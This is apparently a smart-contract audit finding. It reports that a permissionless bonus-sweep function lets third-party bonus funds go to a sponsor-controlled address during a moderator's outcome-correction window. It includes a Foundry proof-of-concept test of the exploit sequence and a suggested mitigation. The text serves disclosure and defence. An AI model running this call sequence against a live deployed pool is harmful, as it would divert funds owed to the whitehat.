FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Correction window allows third-party bonus to be swept before good-faith CORRUPTED reflag

Author Revealed upon completion

Root + Impact

In good-faith CORRUPTED, the named attacker/whitehat should receive the full bounty: snapshotTotalStaked + snapshotTotalBonus.

However, flagOutcome() allows pre-claim reflagging while claimsStarted == false, and SURVIVED can be flagged while the registry is already CORRUPTED. During this correction window, anyone can call sweepUnclaimedBonus().

When riskWindowStart == 0, sweepUnclaimedBonus() reserves only outstanding principal, treats the whole bonus as sweepable, sends it to recoveryAddress, and decrements totalBonus:

if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}

If the moderator first flags SURVIVED, the bonus can be swept to the sponsor-controlled recoveryAddress before the moderator corrects to good-faith CORRUPTED. The corrected bounty then snapshots only the remaining principal.

RISK

Likelihood:

  • The registry is CORRUPTED, no active-risk window was locally observed, and riskWindowStart == 0.

  • The moderator uses the documented correction window by first flagging SURVIVED and later correcting to good-faith CORRUPTED.

  • Any caller can invoke sweepUnclaimedBonus() before the correction because the function is permissionless and does not close the correction window.

Impact:

  • Third-party bonus funds intended to reward the named whitehat are permanently diverted to the sponsor-controlled recoveryAddress.

  • The loss can dominate the bounty. With 1 principal and 1000 bonus, direct good-faith CORRUPTED would pay 1001 to the whitehat, but this sequence pays only 1; the 1000 bonus is swept to recoveryAddress.

  • This creates a real capability delta: in good-faith CORRUPTED, the sponsor should receive nothing, but this sequence lets the sponsor-controlled recovery address capture the bonus.

Proof of Concept

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract L8BountyDiversionTest is BaseConfidencePoolTest {
function testBonusDominantBountyIsDivertedDuringCorrectionWindow() external {
uint256 principal = 1 * ONE;
uint256 bonus = 1000 * ONE;
_stake(alice, principal);
_contributeBonus(carol, bonus);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "no active-risk observation");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonus, "bonus diverted to recovery");
assertEq(token.balanceOf(address(pool)), principal, "only principal remains");
assertEq(pool.totalBonus(), 0, "swept bonus removed from later snapshot");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), principal, "corrected bounty excludes swept bonus");
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker) - attackerBefore, principal, "attacker receives only principal");
assertEq(bonus, 1000 * (token.balanceOf(attacker) - attackerBefore), "99.9 percent of direct bounty lost");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.claimCorrupted();
}
}

Recommended Mitigation

- Allow sweepUnclaimedBonus() to transfer protocol-accounted bonus while the moderator correction window remains open.
+ Close the correction window when sweepUnclaimedBonus() transfers protocol-accounted bonus.
+ Alternatively, reserve snapshotTotalBonus until the outcome can no longer be corrected.
A simple fix is to set claimsStarted = true whenever sweepUnclaimedBonus() transfers protocol-accounted bonus. The invariant should be: once protocol-accounted value leaves the pool, the moderator correction window must not remain open in a way that changes who was entitled to that value.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!